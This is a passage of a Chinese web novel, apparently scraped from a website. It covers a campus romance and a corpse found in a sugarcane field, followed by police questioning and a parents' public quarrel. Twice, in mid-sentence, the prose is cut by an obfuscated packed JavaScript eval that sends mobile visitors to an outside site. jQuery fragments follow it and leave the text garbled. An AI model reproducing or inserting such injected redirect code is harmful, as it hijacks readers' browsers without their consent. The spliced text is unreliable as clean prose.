宋挚见状,果断拿着两个餐盘去打菜,让雎安去打两碗汤后、先找个位置坐下。 “今天的汤是洗锅水里加了点盐吧?” 比她和卢宇年一起吃饭的那次味道还要淡,雎安忍不住出声吐槽。 宋挚被她嫌弃的表情逗笑,“那明天练完车,我请你去市区吃麻酱牛肉意面和椒盐鱿鱼,那家店的海鲜汤很鲜、很美味。” 明天就这么被安排好了? 雎安往嘴里塞了口饭,突然觉得眼前人畜无害、眼睛亮亮的宋挚,好像......很会。 “明天下午五点,你有空吗?”宋挚见她瞪大眼睛看着他,没说好也没说不好,接着问道:“骑一两个小时,正好可以看到日落,然后就可以一起去吃晚餐,怎么样?” 其实,宋挚很想一觉醒来就能看到雎安,想整天和她黏在一起。可他知道她需要空间,他便只能逐步推进,因为他们之间的爱意有时差,他需要接受这一点。 “好。”雎安心情极好,少有的大快朵颐起来,“但是新手骑车的话,需要头盔和护膝吧?这些我都没有。” “我家有,明天我带过来。”宋挚快速应答,“正好我明天得回趟家,赶巧了。” 期间,汤晴一行人就坐在不远处用餐,说着学校和附近村庄的奇闻轶事。 雎安最怕这些故事,想自动屏蔽他们的声音,却发现怎么都屏蔽不了。 “好吓人啊,说这些。”雎安压低声音和宋挚小小地吐槽了一下,“我最怕鬼故事了。” 宋挚回头看了眼汤晴的方向,安慰道:“不用怕,鬼怪远不及犯罪分子有杀伤力。尤其是女生走夜路,宁愿碰见鬼,都好过碰见人。” “可是,碰见你就很好啊,不然我一个人走校外那夜路会被吓死的。” 雎安脱口而出,脑中闪现出那个昏暗巷子里的背影。那个背影在她的脑中闪着金光,自带光芒,不论她什么时候想起,心中都会有一股暖流流经,很温暖。 闻言,宋挚的表情微不可查的呆滞了一下。 “不过他们说的奇闻社是什么啊?社团吗?”雎安转移话题,好奇地问道:“我们学校可以办这种类型的社团?” 宋挚有些失神,随口应道:“应该可以。” 雎安一时忘了宋挚不是华州财经的学生,还想接着问他关于学校的事。 突然响起“扑通”一声! 紧接着,接踵而来的“叮铃当啷”声让雎安猛地缩起身子。 宋挚应激地迅速回头,看见一个头顶锅盖头的男生撞到了穿黑色碎花裙的女生。女生的衣服上都是污渍,脚下是些食物残渣。 “你怎么回事啊?”汤晴气结,手用力地挥打着裙子。 雎安闻声看去,发现是汤晴后,不经意地看了眼她对面的男生,看清男生面容的瞬间,雎安不自觉地咬紧嘴唇。 错不了,是赵思成! 就是图书馆的那个偷窥男。 雎安一想到他便觉得膈应,果断切断回忆,火速收拾好东西,离开宿舍,往校门去了。 “没事,你慢慢来。”见雎安小跑着奔向他,宋挚低头,无声地笑了下。 “哇!你几点到的?”雎安在宋挚面前站定,气喘吁吁地问道:“我比约定时间早到了一刻钟,你居然都在这等着了。况且,这里还很晒。” 察觉到雎安的本意是在关心他,宋挚的嘴角又扬起了几分,“确实是我早到,但我也没等多久,不用担心我。” 什么担心他啊? 雎安的脸一红。 “走吧,我们待会就在校外这条主干道骑车,人少,而且有车过来一眼就看得到,其他小路我怕不安全。”宋挚将遮阳帽递给雎安,“这个你戴着,别中暑了。” “那你呢?” 宋挚拍拍自己健硕的大腿,“我经常运动,晒点太阳没事的。” 雎安不置可否地挑了挑眉,走到小黄车前扫码后将车推出,蓦地想起今天自己没带藿香正气水。要是宋挚真中暑晕倒,他这么高大壮实的一个男人,她连后手都没有了。 “我不习惯戴帽子,会挡视线。”雎安将帽子往他怀里塞,结果宋挚一把将帽子戴在她头上,动作之快,雎安都没反应过来。 “不用担心我。”宋挚再次强调,又怕帽子真的会挡住视线,动手帮雎安调整好,随后道:“你先把车给我,我给你调。” 宋挚昨天在网上看了不少新手教程。毕竟骑得好未必能教得会,他按照教程的指引将座椅的高度调到最低,检查刹车没问题后将车还给雎安。 雎安按照宋挚的步骤,第一步练习刹车,第二步脚蹬地趟车。 “对,就这样,脚蹬地,趟个30分钟左右,先不要上脚瞪。” 30分钟?!雎安有些怀疑地问道:“要这么久吗?” 宋挚一直在她身边,做伸手状,“对,我真的不想看到你摔倒,还是保险点好。” “不过,学单车需要勇气和耐心,摔倒也是常事。该放手时放手,该前进时前进,该抓住的时候就一定要抓住。” 宋挚提示雎安,雎安顺着他的视线看向自己握着刹车的手,“你一定行的,雎安。” 宋挚并未看着雎安的眼睛,也没有刻意温柔的语气,只是不经意间随口说出来的话,下意识护着她的动作,让雎安忍不住偷偷瞥他,面上虽强装镇定,心中却早已擂鼓作响。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16476720|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比起暧昧的讨好,这种无意间透露出的关心和信任精准地击中了她的靶心。 “宋挚。” “嗯?” “沈薇昨天说,有人在表白墙上问你的联系方式。” 宋挚这才将视线从雎安的脚上挪开,眼睛直勾勾地看着她,“谁问的?” “我不知道,那人匿名了。”雎安避开他的眼神,“那个人还问你出现的时间地点,似乎是想蹲你,沈薇让我提醒你,以免是不怀好意的人。” 闻言,宋挚微不可查的叹了口气。他原以为她会说“就是我”之类的套路撩拨他,亦或是在吃味的试探他,看来还是他想多了。 “那。”宋挚看似不经意地问道:“有人问你的吗?” “没有吧。”雎安的手捏得很紧,方向把控得并不好,以至于车头不停地在晃动。宋挚比她还怕,上手去帮她稳定方向。 “有也不要给。”宋挚说完后觉得这样有些霸道,补充道:“可以的话,不要给。你说的,会有不怀......” “嗞~” 宋挚被刺耳的刹车声打断,神色紧张地去看正前方,发现是一只可爱的柴犬在拦路挡道。 “吓死我了。” 雎安的手心全是细汗,惊魂未定的用夹子音催促小柴犬离开。 小柴犬是只常见的赤柴,身上很干净,一看就是家养的。 宋挚粗略地分析后,和雎安说明情况,尝试高喊几声,兴许狗主人就在附近。 “这这这,是我的狗,我的‘汤包’。”声音的主人高喊着,声音急切且颤抖,想是在朝他们这边跑来。 雎安认得这声音,没想到之前几乎无交集的汤晴,这会儿又碰到了。 “谢谢你们。” 汤晴今天还是穿的长裙,只是手臂那变成了泡泡袖的样式。她蹲下身去抱起汤包,汤包就十分乖巧的靠在她身上,没有一点会乱跑的样子。 “师姐,学校不是规定不能养动物吗?你怎么带来的啊?”雎安问道。 “这是我家的狗狗。”汤晴解释道:“今天社团活动,我从家里带过来玩的。” 雎安面露疑惑,“在这......弄社团活动?” 不怪雎安惊奇,即便临近日落,这里仍然闷热异常,太阳十分刺眼,蚊虫还多,附近更没什么能入眼的活动场所。 汤晴掩嘴笑了笑,“我是奇闻社的,社团活动是来附近的村庄探险。虽然,白天是热了点,但也比晚上好,晚上视线太差。” “可是白天鬼也不出来啊。”雎安说得一脸真诚,弄得汤晴笑出了声。 “哈哈,我们不是抓鬼,而是探寻有趣的事物,或者求证一些传言的社团。”汤晴指着不远处的池塘,“最近总有人说,这附近有人的哭声,那边的甘蔗林有双眼睛,我们就来探索探索。” 甘蔗林有双眼睛?不会是沈薇说的吧? 雎安一脸黑线,她虽然怕,但却是不信鬼的,但她怕是人搞的鬼。 “你们带狗狗是为了让它来嗅闻?”宋挚只能想到这种可能。 “是啊,我们社员带了三只狗。谁知道汤包害羞,见到其它狗撒腿就跑。”汤晴边说边拍打汤包的爪子,以示惩戒。 “你们这样太不安全了。”宋挚冷声提醒道:“尤其像你这样独行的女生,还抄小道走。” 刚刚汤晴就是从一处植被丛里冒出来的。 “没事的啦,谢谢你们提醒,我先回去了。”汤晴不以为意,抱着汤包离开了。 宋挚的手仍扶着车头,没将这点小插曲放在心上,提示雎安接着练,晚点他就在车尾扶着,让雎安尝试上脚蹬。 临近黄昏,雎安好不容易能双脚离地的时候,因为S型走位差点扑进草丛里,手撑在地上还出现了明显的擦伤。 宋挚就在雎安身后,没想到会失控得如此之快,脚步一放慢,雎安就摔了。 他飞快地跑到她的身边,低下头,双手紧握,额头上都是来不及擦拭的汗珠,眼神中透露出深深的自责和愧疚。然而,关切的话尚未问出口,他却被一个突然冒出来的人撞倒在地。 空气中弥漫着怪异的臭味,撞倒宋挚的男生也被绊倒在地,面白如纸的作出呕吐状。男生手指着他冲出来的方向,那处高大的植物丛已经被男生撞出一个空隙来。 雎安预感不妙,选择不看,远处却倏地传来了骇人的尖叫声。 77. 熟悉的声音让雎安打了一激灵^^…… 警车的鸣笛声格外刺耳,引得不少校内学生特地走到主干道上一探究竟。附近村庄的村民更不必说,能凑热闹的都来了。 “散开,都散开,不要围观!” 现场早已拉起警戒线,但总有人试图靠近些看。警察只得不停地挥手示意围观的村民散开,眼神凌厉,语气急冲。 陈川亮坐的车刚到,还未下车,首先吩咐身边的刘智超去和学校负责人取得联系,让校方将无关的围观学生带回学校。随后,他进入现场,第一眼看到的便是宋挚。 陈川亮认得宋挚,他是邓庆生的外甥。没记错的话,他爸是华州大学的教授,他和他爸是一个学校的。 至于他身边的那位...... “宋挚,你怎么会在这?”陈川亮走过去,直接问宋挚。 “陈叔叔好,我妈这几天扭到脚,刚好朋友想学骑车,我这几天都在这。” 宋挚的手一直放在雎安的肩上,哪怕陈川亮打量,他也没松开。 “是你们俩报的案吗?” “我报的。”宋挚答道。 “那你们待在原地,待会儿会有人询问你们一些有关现场的情况,晚些还要送你们去做笔录。” 做笔录? 雎安心颤了一下,毕竟有过一次笔录经验,不禁开始发愁,不知道会不会又要一直等。 “请问……”雎安见陈川亮要往里走去,赶忙叫住他,“我能先送他去医务室吗?他好像有点中暑了,不是很舒服。” 宋挚面无血色,额前布满汗珠,四肢无力地依靠在女生身上。 难怪刚才说话有气无力的,陈川亮还以为他是被吓得,没多在意。 “可以,不过你要先留个电话给我。”陈川亮将雎安报的号码输入手机,摁下拨出,看到雎安的手机屏亮起后才轻笑着说:“你们先把午餐吃了,好好休息一下。不过要记得多留意手机。” “好。” 雎安乖巧地点头,转身去看宋挚,才发现有汗珠滴入他的眼睛,他难受得不停眨眼,抬手试图用手背去抹掉汗水。 “别动。”雎安制止他,将他的手强制摁下,拿出兜里的纸巾给他擦汗,“你的身上也全是汗,越抹只会越多。” 闻言,宋挚意识到什么,别扭地躲开雎安,试图保持些距离。 雎安觉得他莫名其妙的,但考虑到他身体难受,还是坚持要上前帮忙。 谁知宋挚咬着唇往后退,掀起衣角将额前的汗擦去。 雎安被他突然显现出来的腹肌晃了眼,不自然地挪开眼后,又觉心口憋闷,“你怎么了?是身上难受吗?” 宋挚的眼睛被汗珠刺激得红红的,看雎安的眼里很是惹人怜爱。 “我身上都是汗,你别靠太近。” 雎安:? 该不会是怕身上有汗臭味,所以不让她靠近他吧? 雎安觉得这个想法有些荒唐,但又很合理,因为此刻宋挚逞强的表现无不在印证着这一点。 见宋挚强撑着要去扶自行车,雎安一把抓住他的手,强硬的拿起纸巾给他擦眼睛,当纸巾触碰到他的皮肤时,雎安才收了很多力,轻轻的擦拭。 两人离得很近,宋挚的气息打在雎安的额头上,有些痒痒的。 “运动就会出汗,是很正常的事。”雎安抬眸看他,左肩碰到了他的右臂,“更何况,你又不臭,还是说,你讨厌我?” “哎呀,现在小年轻可真是的。” 隐在植被里的民警看不下去了,忍不住嘟囔了一句,被陈川亮斜睨一眼后立即收声。 “这草长得真高。”陈川亮用手触碰另一边长得更高的甘蔗叶,“真是杀人埋尸的好地方。” “这类地方统称为青纱帐,发生命案的概率一直很高。”王屹正气十足的声音从身后传来,他已经戴好鞋套和手套,随时准备进入案发现场,“老陈,外边这些人就交给你了。” “好。” 陈川亮从警十五年,扎根在基层派出所,这类案件他并不常见,难免有好奇心。现在他优秀的老同学到了,他便带着他的好奇心一起退了出去。 王屹戴上口罩,提醒身边的梁询也戴上。 “多戴两层。”王屹再次提醒,“法医呢?到了没?” 离挖出尸体的地方还有100米,但附近的空气早已臭不可闻。 梁询还没见着尸体,胃里已经开始翻江倒海。 “还没到,不过现场的地面已经做好了。勘察员说尸体周围有两处土地有被松动过的迹象,问了那帮猎奇的学生,学生说他们没动过其他地方。所以侦查员怀疑周围还有被埋的尸体。” “那帮学生是怎么回事?” “华州财经大学的奇闻社的社团成员,听了些传闻,就把家里的狗带出来一起探险。狗狗是一只史宾格和两只柴犬,他们说是史宾格犬对着尸体所在位置一直吠叫、不肯离开。他们虽然有些害怕,但在好奇心的驱使下,还是去找住在附近同学的家里借来铲子铲土。结果铲的时候没注意看,将尸体的腹部戳破了,然后......呕......” 是腐败巨人观,画面相当冲击,气味更是令人作呕。 根据现场勘察员对目击者的简单询问,当时戳破外露在空气中的尸体后,释放出的尸气直接让一名学生昏迷了,其余的都吐了,现在那帮学生都在医院。 王屹微微皱眉,“心也有够大的。” “梁询,刚刚你说的传闻是什么?”王屹由远及近的观察了现场,发现梁询的情况好了些,表情严肃地拍拍他的后背,提醒他向他汇报情况。 梁询仍是懵的状态,“嗯?” “刚刚你不是说社团的人是听了什么传闻才来的吗?”王屹放慢语速。 “对,说是传闻里说这附近有哭声,那边的甘蔗林会冒出双眼睛。所以,他们打算先来这边瞧瞧,再去那边的甘蔗林。” “报案人呢?不是说还有对小情侣吗?” “陈叔说报案人当时是在学校外的主干道上骑车,因为男生中暑,留好电话就让他们去医务室休息了。” 王屹回想起刚刚准备进入现场时,在警戒线内见到的那依偎在一起的身影,心中已有猜测。只是法医已到,王屹便将心思先放在眼前的尸体上。 “晚点我们要去甘蔗林里瞧瞧” “好。” 梁询回应完,感觉自己又要呕了。 宋挚待在空调房里喝了些盐水,吃了些汤面,感觉好了很多。只是,一旦想起自己之前自信的发言,而今却柔弱的躺在医务室里,就怎么也抬不起头去看雎安,索性闭目假寐。 雎安知道他没睡,静静地在一旁陪着他,时不时看眼手机,状态有些焦虑。 “宋挚,上周日我们在校外碰面之前,我是跑向你的,你还记得吧?”雎安犹豫再三,还是想将心中所想和宋挚分享,“当时我走在小道上,还有几步就要到主干道的时候,看到身后有一个影子,影子的手里还有一把刀。” 听到这话,躺在床上的宋挚猛地睁开眼,眼里除去吃惊,还有说不出的惊愕和担忧。 雎安赶忙追加解释,“但当时环境太昏暗,只有一点微弱的灯光,然后我又很紧张,我不确定我是真的看到,还是出现幻觉了。” “晚点警察肯定会来问话,你觉得我要主动提起周日的事吗?”雎安拿不定主意,手上不停地转动着手机,见宋挚想坐起身,赶忙去扶他。 “现在发生了这么严重的命案,警察肯定会盘问排查。我的建议是.......你不如说出来。反正警察也不会听信你的一面之词,会用查监控、走访之类的方法调查清楚。” 宋挚的话点醒了雎安,现在她不是要单独为了这件事报案,就算是乌龙也没事。反正待会儿怎样都要做笔录,把自己的所见所闻告诉警察,让警察来查清就行了。 “对,没错。你们只需要将所见所闻如实相告,其他的事,我们自会去查清。” 王屹和梁询头两分钟就到了,他刚从现场过来,想着正午太阳过烈,不如先去医务室找报案人。 雎安的手还放在宋挚的肩上,歪着头思考,思绪被突然打断后猛地收回手,转身看到了王屹梁询二人,还有她的辅导员韩韵。 韩韵的语气中带着些责怪,“上周日碰见这样的事情,你该和我说的。” 雎安无话可说,医务室的门虽是开着的,但她没想过会碰见这种情况。 说实话,被偷听的感觉很不好。 王屹察觉到雎安的不快,眼睛如鹰般观察着在场者的一举一动。 当他开口提出要询问报案人几个问题时,韩韵说她要全程陪同,她毕竟是学校的辅导员,得要注意雎安和宋挚的一言一行。 王屹的眼眸一沉,平淡的神情中生出一丝冷厉,“韩老师,你是可以陪同的,但不能有任何干扰性的发言和行为。” 韩韵毕竟长期在学校这种相对单纯的空间里工作和生活,和王屹这种见惯社会阴暗面的人比,光气势都弱了许多。 雎安见韩韵占下风,心中无甚感想,反正她又不是犯罪嫌疑人,只需要如实相告即可。 王屹走进医务室,想要拉张椅子坐在宋挚对面时,宋挚捂着嘴干呕起来。 “你怎么了?”雎安担心不已。 “你们身上的尸臭味......好重。”宋挚指着王屹和梁询,意识到自己的失礼后将手放下,“对不起,我中暑后反胃严重,对气味有些敏感。” 王屹拉椅子的手顿住,梁询则有些尴尬。 “没事,那就邹雎安同学先出来,我晚点再问你。” 这样反而更合王屹的意。 分开问,要是有破绽,更容易发现。 比起雎安的放松,宋挚则感觉不安,身体的不适让他思考受限,偏他那天的记忆有限。 若是警察细问起来,他该如何回答? ———————— 前天,热闹过后的社团活动室只有寥寥几个学生在收拾物件,邓玉瑛坐在角落里用手机处理事务,一时没有注意到宋挚。 “妈,我先把你送回宿舍。” 宋挚将母亲扶起。邓玉瑛一脸懵地站起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16486999|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,下意识地将手机收好后直勾勾地看着自家儿子的脸。 “待会儿我得回学校,明天早上才能过来看您了。”宋挚看了眼母亲受伤的脚,柔声道:“您上下楼梯还是得注意,得让人扶着才行。” 邓玉瑛以为宋挚是要乖乖回去学校读书,可转念一想,便知不对。除了行为不对,他的状态也不对,感觉……成熟了许多,像是平白长了五六岁。 可能,爱情就是这么神奇吧。 “好。”邓玉瑛微不可查地叹了口气,还是决定尊重儿子的想法和做法。 因为,相信孩子本身就是表达爱的一种方式。 “妈,上周日你是让我给你送电脑来着,对吧?” “是啊,怎么了?” “那我当时.......”宋挚想了想,换了种说法,“怎么很多小车都不进我们学校啊?” 邓玉瑛解释道:“毕竟这附近成天施工,不是封路是绕道,很多司机都不进来的。不然妈妈也不会让你搭公交,谁知道你半路把电脑给摔了。” 哦,原来他是搭公交来的。 也对,不然他该出现在校门口,而不是来学校的路上,那他大概率是和搭公交的雎安一起走了段夜路。 宋挚思考着,眉头轻皱,试图捋清楚来龙去脉,以防止雎安好奇问起,他会回答不上来。 邓玉瑛见他很认真的模样,话语中还隐约有试探之意,遂紧张地问道:“怎么了?” “没什么。” 宋挚回过神,扯唇一笑后不再多言。 ———————— 见宋挚眉头紧蹙的靠在床头板上,手指一直在敲击手机屏幕。 王屹和梁询结束了对雎安的问询,轻手轻脚地进入了医务室。 “好多了?”王屹问道。 宋挚惊了一下,下意识地摁息手机屏幕,“好多了,您有话就请问吧。” “在看什么?还是在和人聊天?”王屹语气柔和,目光却是相当锐利地看向宋挚的手机。 韩韵站在一旁,感叹王屹的变脸速度,刚刚明明还是和蔼可亲的模样,现在却是审讯犯人的气势。 宋挚捏紧手机的手松了力,试图让自己的肢体放松下来,“在搜我周日坐的公交线路,我猜想您会问我,想提前回忆一下。” “周日才坐的公交车,怎么就忘记了?”梁询此刻冷酷得像个机器人。 “我现在......脑子不是很清晰。”宋挚摆出痛苦状,“而且我平时不搭公交,以往出门大多是打车,要不是我家人提醒我,说附近很多地方施工,车辆需要绕行,不熟悉的司机会走错路。周日那天我也不会坐公交。” 王屹点点头,在附近拉个把椅子坐下,只是距离明显比之前要远。 “你舅舅是邓庆生?” 话题太跳跃,宋挚一时没反应过来,“没错,邓庆生是我舅舅。我妈妈是邓玉瑛,在华州财经教商务英语。” 是想问他为什么在华州财经,而不是在自己学校的原因? 宋挚这样想着,却被王屹出乎意料的套近乎给打断。 王屹热络地说着自己的邓庆生曾是同学,还抱过小时候的宋挚。 宋挚浅笑着倾听,却没把这些话当一回事。他猜想这是王屹企图让他放下心理防备的一种方法。 事实确实如此,王屹不是喜欢寒暄的人。 两人一问一答,相当顺利。 宋挚全程配合,每次王屹问到很细节的点,他就一副思考状,皱皱眉,摩挲摩挲下巴,回答得模棱两可。 毕竟,谁要是能事无巨细的回想起所有不起眼的细节,那才真的可疑。 “好了,先这样吧。谢谢你的配合,请你收拾收拾,和邹同学一起去趟市局,做份正式的笔录。” 王屹回头去看韩韵,朝靠在门沿上的雎安点点头,随后又示意在旁记录的梁询,“韩老师有车吧,麻烦你将两位学生送过去,我们还要去趟现场。” 韩韵颔首,随后开车将他们送去警察局,并且一路都在交代雎安一些注意事项,诸如不要在网络上和学校论坛上乱发言之类的叮嘱,还说已经联系了她的父母。 “什么?!我爸妈知道了?”雎安愣了几秒,担忧的心情多于惊讶。 车辆抵达市局,韩韵边倒车边回应,“这么大的事,当然要和你父母说,晚点他们会来接你回家。还有宋同学,你爸说会来接你回家。” 宋挚平静地朝韩韵应谢,转而担忧地看向雎安。他从未见过她的父母,但从她的话语间感知到的几乎都是不好的回忆和情绪。 由于案件重大,全局上下都对此案很上心,处理起来也很谨慎。宋挚和雎安等了半小时,还没有人带他们去做笔录。 雎安心里有数,宋挚却是第一次经历,和第一次经历的雎安般看着人来人往,期望警察能早些叫到他们。 “雎安,邹雎安!” 熟悉的声音让雎安打了一激灵,父母激动的叫声似要将办案大厅的墙面震出一道裂痕来。 雎安生无可恋地回头,看到的却是宋教授。 78. 不是原谅,而是释怀。 很多时候雎安都想不明白,为什么有得父母总是毫无理由的怪罪自己的孩子? 为什么喜欢怨天怨地怨世界? 为什么要在公共场合展示他们张牙舞爪的一面? 她忘不了王屹和梁询路过时不悦的表情,办案人员叹气无奈的声音,宋言林尴尬的回避目光,宋挚心疼怜惜的眼神。 还有她当时,真的希望那不是她父母的心情。 “冷静!你们冷静点,警察局是你们来发牢骚的地方吗?”梁询被吵得头疼,出声吼道。 “辛辛苦苦生她、养她、供她上大学,才开学几天就和男同学去校外骑车,还碰上杀人案进了警察局。她是我女儿,我为什么不能说?!” “还不是你教出来的!”邹伟聪很是气恼,冲着妻子喊道。 纪小梅听这话,火就从脚底一个劲地往上窜,“你不是她爸?她是我一个人生养的?” “我每天上班,能有多少时间管教?”邹伟聪没好气道:“你一直陪女儿到初中,期间都是你带人,我赚钱养你们,不是你教的是谁教的?” 纪小梅气得脸红脖子粗,“是!有错都是我的,好的都是你的。我辛辛苦苦这么多年,为了这个家,一有什么就都算我头上。” 见纪小梅开始要开始翻陈年旧账,邹伟聪无视她,想去里边上个厕所,却被纪小梅一把拦下,“以后我做的饭菜,你不许吃!衣服,你自己洗!” 邹伟聪气恼,甩开妻子的手,“你做的菜?还不是我的钱,菜钱、煤气费、电费、油费哪个不是我出的?!” “开什么玩笑!你现在失业在家哪有钱,都是我出门赚钱,我早上出门前得做饭,晚上回来还得洗衣服。”纪小梅的手狠狠地拍打身边的扶手,声音强震让在场的人都抖了下。 听到“失业”二字,邹伟聪顿时觉得自己的自尊被扔在地上反复碾压,他气得来回跺脚,愈加口无遮拦的出言伤人。 两人就这样互相计算着,谁对家庭的付出更多,谁更不负责,完全忘记了一开始他们是为何而争吵。 好像他们每一次争吵都是这样,不是为了解决问题或者是改变什么,好像只是为了发泄对生活、对家人的不满。 此刻,胸口的憋闷感快要让雎安喘不过气,当她发现抬头也不管用了,索性痛块的哭了出来。 只是,她没有发出一点声音。 因为她知道,父母要是听到她痛哭的声音,只会更激烈地指责她,让她好好反省,以后都不许忤逆他们。 她累了,真的很累。 他们是成年人,需要对他们自己的人生负责。 他们的人生过得糟糕,是由他们的每一个微小的选择堆砌而成,并不是因为她,不是她造成的。况且,就算没有她,以他们的为人处世和心态,一样无法过好自己的生活。 她不想再勾起不好的回忆来累及自己,因为她已经对父母不再抱有期望,不会再有改变他们的想法,也不打算再对他们有任何的愧疚之心。 因为她对他们的心软和退让,不会收获理解和支持,只会变成将她灵魂吞噬殆尽的毒液。 她已经看透了。 温热的泪珠滴落在手机屏幕上,屏幕因久未操作而息屏,雎安看着屏幕里的泪流面满的自己,木然地抬起手,用指背拭去眼泪。 “哭吧,安安。” 宋挚和梁询和宋言林示意后,在邹伟聪和纪小梅吵得忘乎所以时,将雎安带离大厅,找了一个偏静处站定。 一个只有她和他的、安静的角落。 “不用假装看手机,想哭就哭,这是你的情绪,你本就可以自由表达。” “我知道。”雎安放下手机,抬起头,泛红的眼眶里都是眼泪,“可我不想让你看到我难堪的样子。” 闻言,宋挚愣了几秒,叹了口气,俯身与雎安平视,“安安,你知道我刚刚看到了什么吗?” 此刻,他的问题出现得很奇怪。 雎安看着他清亮的双眼,因好奇而忘了哭泣,抽噎着问道:“我爸妈闹事?” 宋挚摇头,“是破岩上的劲竹、沙漠中的骆驼,冬雪下的梅花。” “顽强、坚韧、自强不息。” 宋挚目不转睛地看着她,用最坚定的语气告诉她:“你可能觉得我是在安慰你,会觉得你的自信是因为我的安慰和肯定。那我明确地告诉你,不是这样的。” “不论有没有我,你都能活下去,而且是能很好地活下去。2026年的你,在没有遇见我之前,就有自己的坚持和原则,面对诱惑不动摇,迷茫的时候敢于走出去看看更广阔的世界,在困境下勇于接纳和改变自己,还能在每天枯燥乏味的重复劳动中找到属于你的小确幸。” 说着,宋挚想到了那个依偎在他怀中、自豪而幸福地向他展示相册的雎安。 相册里有两万多张照片,时间跨度长达五年。 “边煮茶边垂钓的老爷爷,暴雨中紧相拥的两只小狗,篮球场上拍摄动作夸张的模特,夕阳透过玻璃窗的光晕,扶起被雨水打得折了腰的野花,还有蓝色三轮车上的小型花市。” 宋挚说着,眼角眉梢都染上了温柔的笑意,“不论身处何种境地,你都有爱和发现美的能力。” 闻言,雎安低头笑了。 因为留下这些美好的时刻,确实是她一直在做的事,自然得如同太阳东升西落,而得意地与爱人分享这些时刻,也确实是她会做的事。 “哪怕身处绝境,你也决定要有尊严地度过余生,用生命去拯救和你有类似经历的受害者。” 谈及此,宋挚突觉口中苦涩,眼底的笑意逐渐淡去。 “虽然,我觉得这世上没有任何人和事值得你用生命去交换。” ———————— “女儿呢?”邹伟聪发现不对,“女儿去哪啦?” “我在这。” 一道有些陌生的冷冽女声从他们身后传来。 邹伟聪和纪小梅双双回头,发现是沉着脸的雎安。 她站在入口处,头微微下低,眼睛却异常坚定地向上看,像是猛兽隔岸喝水,眼睛锁定猎物,虽无法即时入口,却已决定在某刻将其撕裂。 这眼神与他们而言,并不陌生。在女儿生气的时候,他们见过,但他们从不把这当一回事,直到…… 寒栗的感觉尤为强烈。 他们终于意识到,他们握在手心的养老股可能会失控暴跌,甚至可能反过来让他们赔钱…… “我们辛辛苦苦工作,早出晚归,省吃俭用,供你读大学。一年学费这么贵,现在说你两句,你就用看仇人的眼神看着我们。” 邹伟聪惯用道德绑架这一套。 “让警官们都看看你这个死样子。” 没有人理他,除了纪小梅,大家都用观赏笼中动物的眼神在看他,失权带来的耻辱感几近将他淹没。 纪小梅见老公面上挂不住,准备追加 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“可是,学校那边......” 雎安看见王屹在朝她招手,不等韩韵说完,便朝她笑了笑,略过她,走进了询问室。 兴许是刑事案件的缘故,此次的询问比偷窥案那次详细繁杂得多,等雎安和宋挚都被允许离开警局的时候,天色已然大暗。 “安安,上车吧,我带你去吃大餐,然后送你回学校。” 他总是很懂她。 回学校的路上,雎安的笑容都牢牢地挂在脸上,丝毫不像是才碰见命案和父母无理辱骂的状态。 她的自愈力总是令他赞叹。 晚上十点。 雎安戴上耳机听音乐,一边刷手机,一边注意信息栏,心里既期待又紧张,因为她很肯定,宋挚一会发晚安短信。 所以她便一直等,猜测着他的信息内容。 晚上十点二十分,手机振动,雎安赶忙点开信息,果真是宋挚。 但他什么文字内容都没发,只分享了一首歌。 TipToe-HYBS 雎安没有丝毫犹豫,点开了链接。 旋律出来的那一刻,便一举击中她的心。 她听过这首歌,在“逃离餐馆”的时候。 当时,她扶着像是用废石堆砌的扶手,随着副歌一步一步往上走,而宋挚坐在一个巨大的画板旁,目光追随着她的脚步。 不论是此刻,还是那时,雎安都感受到了心跳和思绪失控的感觉。 至于歌词,如同泡在蜜罐里的她头脑已经无法正常思考,无法翻译这些简单的英文单词。 她看着手机屏幕上的中文,只觉得它们好似长了脚,在她面前尽情地跳起舞来,让猫在被窝里嘿嘿傻笑的她头脑发晕。 在甜蜜了五分钟、纠结了五分钟后,雎安点开音乐软件,开始翻自己的歌单,戴上耳机选歌。 她想回一首歌给宋挚,可她越是想找到合适的,就越是找不到,听了二十几首小甜歌都不满意。 最后她索性开启随机播放,打算听到满意为止,而最合她心意的歌,竟然是一首带着些毁灭感的歌。 BeYourLove-BishopBriggs 即便天崩地裂,你都必须要爱我。 79. 这一刻,被永久留存。 “辅导员又发信息了,说不允许外出。”韩婕往下滑动手机,补充道:“白天也不行。” 原本没出声的刘礼晨忍不住吐槽,“真无语,说不定凶手学校里的人呢,直接一刀切,禁止外出算什么事啊!” 韩婕反驳她,“忍忍吧,就算凶手真是学校里的人,他敢在豆大点的学校里杀人埋尸?” “确实。”雎安认同刘礼晨的观点,“我们学校还没建完,开放的区域很小,人也密集,晚上的行政楼和教学楼都还有不少人在约会,不像外面又黑又宽阔,多的是地方下手。” “你怎么知道晚上的行政楼和教学楼有不少人约会啊?” 刘礼晨自认为抓住了重点,又要开始打趣雎安。 雎安无奈地笑出声来,刚要开口为自己辩解,韩婕的抱怨声便响起,“唉,苦了我们啊~所以人都挤在一个食堂,食堂还只开放了一层,饭菜又贵又难吃。超市也是,仗着就它一家,一根香肠就敢卖五块,怎么没人去举报他们啊?” “举报也没用啊,沈薇说,那超市是校领导的亲戚开的,估计就想趁着学校还没建好的空挡,赶紧敛财。现在想想,是真后悔,早知道会出不去的话,前几天该在附近超市买多点零食带进来的。” 